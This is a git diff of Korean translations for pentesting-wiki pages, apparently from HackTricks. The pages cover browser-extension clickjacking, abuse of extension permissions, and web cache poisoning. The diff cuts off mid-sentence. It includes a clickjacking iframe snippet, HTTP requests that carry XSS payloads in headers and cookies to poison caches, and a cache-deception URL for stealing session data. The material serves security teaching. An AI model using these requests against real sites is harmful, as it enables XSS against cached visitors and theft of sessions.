+Neto 프로젝트는 Firefox 및 Chrome과 같은 잘 알려진 브라우저의 브라우저 플러그인 및 확장의 숨겨진 기능을 분석하고 풀어내기 위해 고안된 Python 3 패키지입니다. `manifest.json`, 로컬화 폴더 또는 JavaScript 및 HTML 소스 파일과 같은 관련 리소스에서 이러한 기능을 추출하기 위해 패키지 파일을 압축 해제하는 프로세스를 자동화합니다. ## 참고 문헌 diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md index 94bfae821..7edfd15fe 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md @@ -11,7 +11,7 @@ ClickJacking이 무엇인지 모른다면 확인하세요: ../clickjacking.md {{#endref}} -확장 프로그램에는 **`manifest.json`** 파일이 포함되어 있으며, 해당 JSON 파일에는 `web_accessible_resources` 필드가 있습니다. [Chrome 문서](https://developer.chrome.com/extensions/manifest/web_accessible_resources)에서는 다음과 같이 설명합니다: +확장 프로그램에는 **`manifest.json`** 파일이 포함되어 있으며, 해당 JSON 파일에는 `web_accessible_resources` 필드가 있습니다. [Chrome 문서](https://developer.chrome.com/extensions/manifest/web_accessible_resources)에서 이에 대해 다음과 같이 설명합니다: > 이러한 리소스는 **`chrome-extension://[PACKAGE ID]/[PATH]`** URL을 통해 웹페이지에서 사용할 수 있으며, 이는 **`extension.getURL method`**로 생성할 수 있습니다. 허용된 리소스는 적절한 CORS 헤더와 함께 제공되므로 XHR과 같은 메커니즘을 통해 사용할 수 있습니다.[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1) @@ -25,14 +25,14 @@ ClickJacking이 무엇인지 모른다면 확인하세요: ## PrivacyBadger Example -확장 프로그램 PrivacyBadger에서는 `skin/` 디렉토리가 다음과 같이 `web_accessible_resources`로 선언된 것과 관련된 취약점이 확인되었습니다 (원본 [블로그 게시물](https://blog.lizzie.io/clickjacking-privacy-badger.html) 확인): +확장 프로그램 PrivacyBadger에서 `skin/` 디렉토리가 다음과 같이 `web_accessible_resources`로 선언된 것과 관련된 취약점이 발견되었습니다 (원본 [블로그 게시물](https://blog.lizzie.io/clickjacking-privacy-badger.html) 확인): ```json "web_accessible_resources": [ "skin/*", "icons/*" ] ``` -이 구성은 잠재적인 보안 문제를 초래했습니다. 구체적으로, 브라우저에서 PrivacyBadger 아이콘과 상호작용할 때 렌더링되는 `skin/popup.html` 파일이 `iframe` 내에 삽입될 수 있습니다. 이 삽입은 사용자가 "이 웹사이트에 대해 PrivacyBadger 비활성화"를 무심코 클릭하도록 속이는 데 악용될 수 있습니다. 이러한 행동은 PrivacyBadger 보호를 비활성화하여 사용자의 개인 정보를 위협하고, 사용자가 더 많은 추적을 받을 수 있는 상황에 처하게 합니다. 이 취약점의 시각적 시연은 [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm)에서 제공된 ClickJacking 비디오 예제에서 확인할 수 있습니다. +이 구성은 잠재적인 보안 문제를 초래했습니다. 구체적으로, 브라우저에서 PrivacyBadger 아이콘과 상호작용할 때 렌더링되는 `skin/popup.html` 파일이 `iframe` 내에 삽입될 수 있습니다. 이 삽입은 사용자가 "이 웹사이트에 대해 PrivacyBadger 비활성화"를 무심코 클릭하도록 속이는 데 악용될 수 있습니다. 이러한 행동은 PrivacyBadger 보호를 비활성화하여 사용자의 개인 정보를 손상시키고, 사용자가 더 많은 추적을 받을 수 있는 위험에 처하게 합니다. 이 취약점의 시각적 시연은 [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm)에서 제공되는 ClickJacking 비디오 예제를 통해 확인할 수 있습니다. 이 취약점을 해결하기 위해 간단한 해결책이 구현되었습니다: `/skin/*`을 `web_accessible_resources` 목록에서 제거하는 것입니다. 이 변경은 `skin/` 디렉토리의 콘텐츠에 웹 접근 가능한 리소스를 통해 접근하거나 조작할 수 없도록 하여 위험을 효과적으로 완화했습니다. @@ -73,23 +73,23 @@ left: 100px; src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html"> ``` -## Metamask 예제 +## Metamask 예시 -A [**ClickJacking에 대한 블로그 게시물은 여기에서 찾을 수 있습니다**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9). 이 경우, Metamask는 접근하는 데 사용된 프로토콜이 **`https:`** 또는 **`http:`**인지 확인하여 취약점을 수정했습니다 (예: **`chrome:`**가 아님): +A [**blog post about a ClickJacking in metamask can be found here**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9). 이 경우, Metamask는 접근하는 데 사용된 프로토콜이 **`https:`** 또는 **`http:`**인지 확인하여 취약점을 수정했습니다 (예: **`chrome:`**가 아님):
-**Metamask 확장에서 수정된 또 다른 ClickJacking**은 사용자가 `“web_accessible_resources”: [“inpage.js”, “phishing.html”]` 때문에 페이지가 피싱으로 의심될 때 **허용 목록에 추가하기 위해 클릭**할 수 있었던 것입니다. 해당 페이지가 Clickjacking에 취약했기 때문에 공격자는 피해자가 이를 인식하지 못한 채 허용 목록에 추가하도록 클릭하게 만들기 위해 정상적인 것을 보여줄 수 있었고, 그 후 허용 목록에 추가된 피싱 페이지로 돌아갈 수 있었습니다. +**Metamask 확장 프로그램에서 수정된 또 다른 ClickJacking**은 사용자가 `“web_accessible_resources”: [“inpage.js”, “phishing.html”]` 때문에 페이지가 피싱으로 의심될 때 **Click to whitelist**할 수 있었던 것입니다. 해당 페이지가 Clickjacking에 취약했기 때문에, 공격자는 피해자가 이를 인식하지 못한 채로 화이트리스트에 추가하도록 클릭하게 만들기 위해 정상적인 것을 보여줄 수 있었고, 그 후 화이트리스트에 추가된 피싱 페이지로 돌아갈 수 있었습니다. -## Steam 인벤토리 헬퍼 예제 +## Steam Inventory Helper 예시 -브라우저 확장에서 **XSS**가 **ClickJacking** 취약점과 어떻게 연결되었는지 확인하려면 다음 페이지를 확인하세요: +다음 페이지를 확인하여 **XSS**가 브라우저 확장 프로그램에서 **ClickJacking** 취약점과 어떻게 연결되었는지 확인하세요: {{#ref}} browext-xss-example.md {{#endref}} -## 참고문헌 +## References - [https://blog.lizzie.io/clickjacking-privacy-badger.html](https://blog.lizzie.io/clickjacking-privacy-badger.html) - [https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9) diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md index 24efed87b..9cb5cbfef 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md @@ -39,11 +39,11 @@ ``` 이것들은 브라우저 확장 프로그램이 자유롭게 접근할 수 있는 호스트입니다. 이는 브라우저 확장 프로그램이 **`fetch("https://gmail.com/")`**를 호출할 때 CORS에 의해 제한되지 않기 때문입니다. -## `permissions` 및 `host_permissions` 악용 +## `permissions` 및 `host_permissions` 악용하기 ### 탭 -게다가, **`host_permissions`**는 “고급” [**tabs API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) **기능을 잠금 해제합니다.** 이들은 확장 프로그램이 [tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query)를 호출하여 **사용자의 브라우저 탭 목록**을 가져오고 어떤 **웹 페이지(주소 및 제목)가 로드되었는지** 알 수 있게 합니다. +게다가, **`host_permissions`**는 “고급” [**tabs API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) **기능을 잠금 해제합니다.** 이들은 확장 프로그램이 [tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query)를 호출하여 **사용자의 브라우저 탭 목록**을 가져오고 어떤 **웹 페이지(주소 및 제목)가 로드되었는지** 알 수 있게 해줍니다. > [!CAUTION] > 뿐만 아니라, [**tabs.onUpdated**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated) **와 같은 리스너도 훨씬 더 유용해집니다.** 이들은 새로운 페이지가 탭에 로드될 때마다 알림을 받습니다. @@ -52,7 +52,7 @@ 콘텐츠 스크립트는 반드시 확장 프로그램 매니페스트에 정적으로 작성될 필요는 없습니다. 충분한 **`host_permissions`**가 주어지면, **확장 프로그램은** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **또는** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript)를 호출하여 동적으로 로드할 수 있습니다. -두 API는 콘텐츠 스크립트로서 확장 프로그램에 포함된 파일뿐만 아니라 **임의의 코드**를 실행할 수 있게 합니다. 전자는 문자열로 JavaScript 코드를 전달할 수 있는 반면, 후자는 주입 취약점에 덜 취약한 JavaScript 함수를 기대합니다. 그럼에도 불구하고, 두 API는 잘못 사용될 경우 큰 혼란을 초래할 수 있습니다. +두 API는 확장 프로그램에 포함된 파일뿐만 아니라 **임의의 코드**를 콘텐츠 스크립트로 실행할 수 있게 해줍니다. 전자는 문자열로 JavaScript 코드를 전달할 수 있는 반면, 후자는 주입 취약점에 덜 취약한 JavaScript 함수를 기대합니다. 그럼에도 불구하고, 두 API는 잘못 사용될 경우 큰 혼란을 초래할 수 있습니다. > [!CAUTION] > 위의 기능 외에도, 콘텐츠 스크립트는 예를 들어 **웹 페이지에 입력되는 자격 증명을 가로챌 수 있습니다.** 이들을 악용하는 또 다른 고전적인 방법은 **모든 웹사이트에 광고를 주입하는 것입니다.** 뉴스 웹사이트의 신뢰성을 악용하기 위해 **사기 메시지를 추가하는 것**도 가능합니다. 마지막으로, 이들은 **은행 웹사이트를 조작하여** 자금 이체를 우회할 수 있습니다. @@ -68,22 +68,22 @@ 가능한 `tabs.create()` 매개변수를 살펴보면, 그 기능이 `window.open()`이 허용하는 것보다 훨씬 더 넓다는 것을 알 수 있습니다. Firefox는 이 API와 함께 `data:` URI의 사용을 허용하지 않지만, Chrome은 그러한 보호가 없습니다. **최상위에서 이러한 URI의 사용은** [**피싱에 악용되었기 때문에 금지되었습니다**](https://bugzilla.mozilla.org/show_bug.cgi?id=1331351)**.** -[**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update)는 `tabs.create()`와 매우 유사하지만 **기존 탭을 수정합니다.** 따라서 악의적인 확장 프로그램은 예를 들어 임의로 광고 페이지를 사용자의 탭 중 하나에 로드할 수 있으며, 해당 탭을 활성화할 수도 있습니다. +[**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update)는 `tabs.create()`와 매우 유사하지만 **기존 탭을 수정합니다.** 따라서 악의적인 확장 프로그램은 예를 들어 임의로 광고 페이지를 당신의 탭 중 하나에 로드할 수 있으며, 해당 탭을 활성화할 수도 있습니다. -### 웹캠, 지리 위치 및 친구들 +### 웹캠, 지리적 위치 및 친구들 -웹사이트가 특별한 권한을 요청할 수 있다는 것을 알고 있을 것입니다. 예를 들어 웹캠(화상 회의 도구)이나 지리적 위치(지도)에 접근하기 위해서입니다. 이는 악용 가능성이 상당한 기능이므로 사용자는 매번 여전히 이를 원한다고 확인해야 합니다. +웹사이트가 특별한 권한을 요청할 수 있다는 것을 알고 있을 것입니다. 예를 들어, 웹캠(화상 회의 도구)이나 지리적 위치(지도)에 접근하기 위해서입니다. 이는 악용 가능성이 상당한 기능이므로, 사용자는 매번 여전히 이를 원한다고 확인해야 합니다. > [!CAUTION] -> 브라우저 확장 프로그램은 그렇지 않습니다. **브라우저 확장 프로그램이** [**웹캠이나 마이크에 접근하고자 할 경우**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, 단 한 번만 권한을 요청하면 됩니다.** +> 브라우저 확장 프로그램은 그렇지 않습니다. **브라우저 확장 프로그램이** [**당신의 웹캠이나 마이크에 접근하고 싶다면**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, 단 한 번만 권한을 요청하면 됩니다.** -일반적으로 확장 프로그램은 설치 직후에 이를 요청합니다. 이 프롬프트가 수락되면, **언제든지 웹캠 접근이 가능해집니다.** 사용자가 이 시점에서 확장 프로그램과 상호작용하지 않더라도 가능합니다. 네, 사용자는 확장 프로그램이 정말로 웹캠 접근이 필요할 경우에만 이 프롬프트를 수락할 것입니다. 그러나 그 이후에는 확장 프로그램이 비밀리에 아무것도 녹음하지 않을 것이라고 신뢰해야 합니다. +일반적으로 확장 프로그램은 설치 직후에 이를 요청합니다. 이 프롬프트가 수락되면, **언제든지 웹캠 접근이 가능해집니다.** 사용자가 이 시점에서 확장 프로그램과 상호작용하지 않더라도 가능합니다. 네, 사용자는 확장 프로그램이 정말로 웹캠 접근이 필요할 때만 이 프롬프트를 수락할 것입니다. 그러나 그 이후에는 확장 프로그램이 비밀리에 아무것도 녹음하지 않을 것이라고 신뢰해야 합니다. -[당신의 정확한 지리적 위치](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) 또는 [클립보드 내용](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API)에 접근하는 경우, 명시적으로 권한을 부여할 필요가 전혀 없습니다. **확장 프로그램은 단순히 `geolocation` 또는 `clipboard`를** [**permissions entry**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **에 추가합니다.** 이러한 접근 권한은 확장 프로그램이 설치될 때 암묵적으로 부여됩니다. 따라서 이러한 권한을 가진 악의적이거나 손상된 확장 프로그램은 사용자가 아무것도 눈치채지 못한 채로 당신의 이동 프로필을 생성하거나 복사된 비밀번호를 모니터링할 수 있습니다. +[당신의 정확한 지리적 위치](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) 또는 [클립보드 내용](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API)에 접근하는 경우, 명시적으로 권한을 부여할 필요가 전혀 없습니다. **확장 프로그램은 단순히 `geolocation` 또는 `clipboard`를** [**permissions entry**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **에 추가합니다.** 이러한 접근 권한은 확장 프로그램이 설치될 때 암묵적으로 부여됩니다. 따라서 이러한 권한을 가진 악의적이거나 손상된 확장 프로그램은 당신의 이동 프로필을 생성하거나 복사된 비밀번호를 모니터링할 수 있습니다. **`history`** 키워드를 확장 프로그램 매니페스트의 [permissions entry](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions)에 추가하면 **`history API`**에 대한 **접근이 허용됩니다.** 이를 통해 사용자의 전체 브라우징 기록을 한 번에 검색할 수 있으며, 사용자가 이러한 웹사이트를 다시 방문할 때까지 기다릴 필요가 없습니다. -**`bookmarks`** **권한**은 유사한 악용 가능성을 가지고 있으며, 이 권한은 **모든 북마크를** [**bookmarks API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks)를 통해 읽을 수 있게 합니다. +**`bookmarks`** **권한**은 유사한 악용 가능성을 가지고 있으며, 이 권한은 **모든 북마크를** [**bookmarks API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks) **를 통해 읽을 수 있게 해줍니다.** ### 저장소 권한 @@ -93,17 +93,17 @@ ### 더 많은 권한 -여기에서 [**Chromium 브라우저 확장이 요청할 수 있는 권한의 전체 목록을 찾을 수 있습니다**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) 및 [**Firefox 확장 프로그램에 대한 전체 목록은 여기에서 찾을 수 있습니다**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**.** +여기에서 [**Chromium 브라우저 확장 프로그램이 요청할 수 있는 권한의 전체 목록을 찾을 수 있습니다**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) 및 [**Firefox 확장 프로그램에 대한 전체 목록은 여기에서 확인할 수 있습니다**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**.** ## 예방 -구글 개발자의 정책은 확장 프로그램이 기능에 필요한 것보다 더 많은 권한을 요청하는 것을 명시적으로 금지하여 과도한 권한 요청을 효과적으로 완화합니다. 브라우저 확장 프로그램이 이 경계를 넘은 사례는 애드온 스토어가 아닌 브라우저 자체와 함께 배포된 경우입니다. +구글 개발자의 정책은 확장 프로그램이 기능에 필요한 것보다 더 많은 권한을 요청하는 것을 명시적으로 금지하여 과도한 권한 요청을 효과적으로 완화합니다. 브라우저 확장 프로그램이 이 경계를 넘은 사례는 브라우저 자체와 함께 배포된 경우로, 애드온 스토리를 통해서가 아닙니다. -브라우저는 확장 프로그램 권한의 남용을 더욱 억제할 수 있습니다. 예를 들어, 화면 녹화를 위해 사용되는 Chrome의 [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) 및 [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) API는 남용을 최소화하도록 설계되었습니다. tabCapture API는 확장 프로그램 아이콘을 클릭하는 것과 같은 직접적인 사용자 상호작용을 통해서만 활성화될 수 있으며, desktopCapture는 녹화할 창에 대한 사용자 확인을 요구하여 은밀한 녹화 활동을 방지합니다. +브라우저는 확장 프로그램 권한의 남용을 더욱 억제할 수 있습니다. 예를 들어, Chrome의 [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) 및 [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) API는 화면 녹화를 위해 설계되었으며, 남용을 최소화하도록 되어 있습니다. tabCapture API는 확장 프로그램 아이콘을 클릭하는 것과 같은 직접적인 사용자 상호작용을 통해서만 활성화될 수 있으며, desktopCapture는 녹화할 창에 대한 사용자 확인을 요구하여 은밀한 녹화 활동을 방지합니다. -그러나 보안 조치를 강화하면 종종 확장 프로그램의 유연성과 사용자 친화성이 감소합니다. [activeTab permission](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission)은 이러한 거래를 보여줍니다. 이는 확장 프로그램이 전체 인터넷에 대한 호스트 권한을 요청할 필요를 없애기 위해 도입되었으며, 사용자가 명시적으로 활성화할 경우 현재 탭에만 접근할 수 있도록 합니다. 이 모델은 사용자 주도의 작업이 필요한 확장 프로그램에는 효과적이지만, 자동 또는 사전 조치가 필요한 확장 프로그램에는 부족하여 편의성과 즉각적인 반응성을 저해합니다. +그러나 보안 조치를 강화하면 종종 확장 프로그램의 유연성과 사용자 친화성이 감소합니다. [activeTab permission](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission)은 이러한 거래를 보여줍니다. 이는 확장 프로그램이 전체 인터넷에 대한 호스트 권한을 요청할 필요를 없애기 위해 도입되었으며, 사용자가 명시적으로 활성화할 때만 현재 탭에 접근할 수 있도록 합니다. 이 모델은 사용자 주도 작업이 필요한 확장 프로그램에는 효과적이지만, 자동 또는 사전 조치가 필요한 경우에는 편의성과 즉각적인 반응성을 저해합니다. -## **참고 문헌** +## **참고문헌** - [https://palant.info/2022/08/17/impact-of-extension-privileges/](https://palant.info/2022/08/17/impact-of-extension-privileges/) - [https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing) diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md index 8a31c5ae4..2190cbb9b 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md @@ -94,7 +94,7 @@ persistData() [...] ], ``` -특히, **`/html/bookmarks.html`** 페이지는 프레이밍에 취약하여 **clickjacking**에 노출됩니다. 이 취약점은 공격자의 사이트 내에서 페이지를 프레임으로 설정하고, DOM 요소로 오버레이하여 인터페이스를 기만적으로 재설계하는 데 활용됩니다. 이러한 조작은 피해자가 기본 확장과 의도치 않게 상호작용하게 만듭니다. +특히, **`/html/bookmarks.html`** 페이지는 프레이밍에 취약하여 **clickjacking**에 노출됩니다. 이 취약점은 공격자의 사이트 내에서 페이지를 프레임으로 설정하고, DOM 요소로 덮어씌워 인터페이스를 기만적으로 재설계하는 데 활용됩니다. 이러한 조작은 피해자가 의도치 않게 기본 확장과 상호작용하게 만듭니다. ## References diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md index 9664238de..063e3ad43 100644 --- a/src/pentesting-web/cache-deception/README.md +++ b/src/pentesting-web/cache-deception/README.md @@ -6,12 +6,12 @@ > **웹 캐시 오염과 웹 캐시 기만의 차이점은 무엇인가요?** > -> - **웹 캐시 오염**에서는 공격자가 애플리케이션이 캐시에 악성 콘텐츠를 저장하도록 하며, 이 콘텐츠는 캐시에서 다른 애플리케이션 사용자에게 제공됩니다. -> - **웹 캐시 기만**에서는 공격자가 애플리케이션이 다른 사용자의 민감한 콘텐츠를 캐시에 저장하도록 하며, 공격자는 이후 이 콘텐츠를 캐시에서 검색합니다. +> - **웹 캐시 오염**에서는 공격자가 애플리케이션이 캐시에 악성 콘텐츠를 저장하도록 유도하고, 이 콘텐츠가 다른 애플리케이션 사용자에게 캐시에서 제공됩니다. +> - **웹 캐시 기만**에서는 공격자가 애플리케이션이 다른 사용자의 민감한 콘텐츠를 캐시에 저장하도록 유도하고, 공격자는 이후 이 콘텐츠를 캐시에서 검색합니다. ## 캐시 오염 -캐시 오염은 클라이언트 측 캐시를 조작하여 클라이언트가 예상치 못한, 부분적이거나 공격자가 제어하는 리소스를 로드하도록 강제하는 것을 목표로 합니다. 영향의 정도는 영향을 받는 페이지의 인기 여부에 따라 달라지며, 오염된 응답은 캐시 오염 기간 동안 페이지를 방문하는 사용자에게만 제공됩니다. +캐시 오염은 클라이언트 측 캐시를 조작하여 클라이언트가 예상치 못한, 부분적이거나 공격자가 제어하는 리소스를 로드하도록 강제하는 것을 목표로 합니다. 영향의 정도는 영향을 받는 페이지의 인기 여부에 따라 달라지며, 오염된 응답은 캐시 오염 기간 동안 해당 페이지를 방문하는 사용자에게만 제공됩니다. 캐시 오염 공격의 실행에는 여러 단계가 포함됩니다: @@ -21,13 +21,13 @@ ### 발견: HTTP 헤더 확인 -일반적으로 응답이 **캐시에 저장되었을 때** **그를 나타내는 헤더**가 있을 것입니다. 이 게시물에서 주의해야 할 헤더를 확인할 수 있습니다: [**HTTP 캐시 헤더**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers). +일반적으로 응답이 **캐시에 저장되었을 때** **그에 대한 헤더가 표시됩니다**, 이 게시물에서 주의해야 할 헤더를 확인할 수 있습니다: [**HTTP 캐시 헤더**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers). ### 발견: 캐시 오류 코드 -응답이 캐시에 저장되고 있다고 생각된다면, **잘못된 헤더로 요청을 보내는** 것을 시도해 볼 수 있습니다. 이 경우 **상태 코드 400**으로 응답해야 합니다. 그런 다음 요청을 정상적으로 접근해 보고 **응답이 400 상태 코드**인 경우, 취약하다는 것을 알 수 있습니다(DoS를 수행할 수도 있습니다). +응답이 캐시에 저장되고 있다고 생각되면, **잘못된 헤더로 요청을 보내는** 것을 시도해 볼 수 있습니다. 이 경우 **상태 코드 400**으로 응답해야 합니다. 그런 다음 요청을 정상적으로 접근해 보고, **응답이 400 상태 코드**인 경우 취약하다는 것을 알 수 있습니다(DoS를 수행할 수도 있습니다). -더 많은 옵션은 다음에서 찾을 수 있습니다: +더 많은 옵션은 다음에서 확인할 수 있습니다: {{#ref}} cache-poisoning-to-dos.md @@ -43,33 +43,33 @@ cache-poisoning-to-dos.md ``` ### 백엔드 서버에서 유해한 응답 유도하기 -매개변수/헤더가 확인되면 **소독**이 어떻게 이루어지는지와 **어디서** 응답에 **반영**되거나 영향을 미치는지 확인하십시오. 이를 악용할 수 있는 방법이 있습니까? (XSS를 수행하거나 당신이 제어하는 JS 코드를 로드할 수 있습니까? DoS를 수행할 수 있습니까?...) +식별된 매개변수/헤더가 **어떻게** **정화**되고 **어디서** 응답에 **반영**되거나 영향을 미치는지 확인하십시오. 이를 악용할 수 있는 방법이 있습니까? (XSS를 수행하거나 당신이 제어하는 JS 코드를 로드할 수 있습니까? DoS를 수행할 수 있습니까?...) ### 응답 캐시 가져오기 -악용할 수 있는 **페이지**를 **확인**하고 사용할 **매개변수**/**헤더**와 **악용하는 방법**을 파악한 후, 페이지를 캐시해야 합니다. 캐시에 가져오려는 리소스에 따라 시간이 걸릴 수 있으며, 몇 초 동안 시도해야 할 수도 있습니다. +악용할 수 있는 **페이지**를 **식별**하고 사용할 **매개변수**/**헤더**와 **악용하는 방법**을 파악한 후, 페이지를 캐시해야 합니다. 캐시에 가져오려는 리소스에 따라 시간이 걸릴 수 있으며, 몇 초 동안 시도해야 할 수도 있습니다. 응답의 헤더 **`X-Cache`**는 요청이 캐시되지 않았을 때 **`miss`** 값을 가질 수 있고, 캐시되었을 때는 **`hit`** 값을 가질 수 있으므로 매우 유용할 수 있습니다.\ -헤더 **`Cache-Control`**은 리소스가 캐시되고 있는지, 다음에 리소스가 다시 캐시될 때를 알기 위해 아는 것이 흥미롭습니다: `Cache-Control: public, max-age=1800` +헤더 **`Cache-Control`**은 리소스가 캐시되고 있는지, 다음에 리소스가 다시 캐시될 때를 아는 데 흥미롭습니다: `Cache-Control: public, max-age=1800` -또 다른 흥미로운 헤더는 **`Vary`**입니다. 이 헤더는 종종 **캐시 키의 일부로 처리되는 추가 헤더**를 **지시하는 데 사용**되며, 일반적으로 키가 없는 경우에도 해당됩니다. 따라서 사용자가 타겟으로 하는 피해자의 `User-Agent`를 알고 있다면, 특정 `User-Agent`를 사용하는 사용자들을 위해 캐시를 오염시킬 수 있습니다. +또 다른 흥미로운 헤더는 **`Vary`**입니다. 이 헤더는 종종 **캐시 키의 일부로 처리되는 추가 헤더**를 **지시하는 데 사용**됩니다. 따라서 사용자가 타겟으로 하는 피해자의 `User-Agent`를 알고 있다면, 특정 `User-Agent`를 사용하는 사용자들을 위해 캐시를 오염시킬 수 있습니다. 캐시와 관련된 또 다른 헤더는 **`Age`**입니다. 이는 객체가 프록시 캐시에 있는 시간을 초 단위로 정의합니다. -요청을 캐시할 때는 사용하는 헤더에 **주의해야** 합니다. 일부 헤더는 **예상치 않게** **키가 있는** 것으로 사용될 수 있으며, **피해자는 동일한 헤더를 사용해야** 합니다. 항상 **다양한 브라우저**로 캐시 오염을 **테스트**하여 작동하는지 확인하십시오. +요청을 캐시할 때는 **사용하는 헤더에 주의**해야 합니다. 일부 헤더는 **예상치 않게** **키가 있는** 것으로 사용될 수 있으며, **피해자는 동일한 헤더를 사용해야 합니다**. 항상 **다양한 브라우저**로 캐시 오염을 **테스트**하여 작동하는지 확인하십시오. ## 악용 예시 ### 가장 쉬운 예 -헤더 `X-Forwarded-For`가 응답에 소독되지 않고 반영되고 있습니다.\ -기본 XSS 페이로드를 보내고 캐시를 오염시켜 페이지에 접근하는 모든 사람이 XSS에 노출되도록 할 수 있습니다: +헤더 `X-Forwarded-For`가 응답에 정화되지 않고 반영되고 있습니다.\ +기본 XSS 페이로드를 전송하고 캐시를 오염시켜 페이지에 접근하는 모든 사람이 XSS에 노출되도록 할 수 있습니다: ```markup GET /en?region=uk HTTP/1.1 Host: innocent-website.com X-Forwarded-Host: a.">" ``` -_이 요청은 `/en?region=uk`에 대한 것이며 `/en`에 대한 것이 아닙니다._ +_이 요청은 `/en`이 아닌 `/en?region=uk`를 오염시킬 것입니다._ ### DoS를 위한 캐시 오염 @@ -79,7 +79,7 @@ cache-poisoning-to-dos.md ### 쿠키 처리 취약점을 악용하기 위한 웹 캐시 오염 사용 -쿠키는 페이지의 응답에 반영될 수도 있습니다. 예를 들어, 이를 악용하여 XSS를 유발할 수 있다면, 악성 캐시 응답을 로드하는 여러 클라이언트에서 XSS를 악용할 수 있습니다. +쿠키는 페이지의 응답에 반영될 수도 있습니다. 예를 들어, 이를 악용하여 XSS를 유발할 수 있다면, 악성 캐시 응답을 로드하는 여러 클라이언트에서 XSS를 악용할 수 있을 것입니다. ```markup GET / HTTP/1.1 Host: vulnerable.com @@ -87,9 +87,9 @@ Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b" ``` 취약한 쿠키가 사용자에 의해 많이 사용되는 경우, 정기적인 요청이 캐시를 정리할 것임을 유의하십시오. -### 구분 기호, 정규화 및 점을 사용한 불일치 생성 +### 구분 기호, 정규화 및 점을 사용하여 불일치 생성하기 -확인: +확인하십시오: {{#ref}} cache-poisoning-via-url-discrepancies.md @@ -99,13 +99,13 @@ cache-poisoning-via-url-discrepancies.md [**이 글에서는**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`와 같은 URL로 OpenAI API 키를 훔칠 수 있었던 방법을 설명합니다. `/share/*`와 일치하는 모든 것이 Cloudflare가 URL을 정규화하지 않고 캐시되기 때문에, 요청이 웹 서버에 도달했을 